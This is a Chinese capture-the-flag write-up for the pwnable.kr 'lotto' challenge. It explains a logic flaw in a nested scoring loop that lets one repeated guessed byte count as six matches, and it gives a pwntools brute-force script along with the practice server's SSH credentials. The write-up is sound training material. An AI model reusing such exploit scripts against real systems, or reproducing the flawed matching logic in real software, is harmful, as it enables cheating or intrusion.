pwnable.kr 之 lotto

ssh lotto@pwnable.kr -p2222 (pw:guest)

这是一个游戏,猜对6个数就能拿到flag。

通过源码了解到这6个随机数是从/dev/urandom中取出来的,而且范围在1~46之间,虽然 这是个伪随机,但是想要爆破难度还是挺大的。

接着可以看到程序真正的问题在这:

1
2
3
4
5
6
7
8
9
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}

看起来是个匹配6位随机数的6*6循环,但是,这样写的话只要匹配到一个,match就能等于6了,1/46。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
#context.log_level = 'debug'
s = ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)

p = s.process('/home/lotto/lotto')

p.recvuntil("Exit\n")
times = 1
while 1:
print "times: "+str(times)
times += 1
p.sendline('1')
pay = chr(1)*6
p.sendlineafter(" : ",pay)
data = p.recvuntil("Exit\n")
if "bad" in data:
print data
continue
else:
print "flag: " + data
break
0%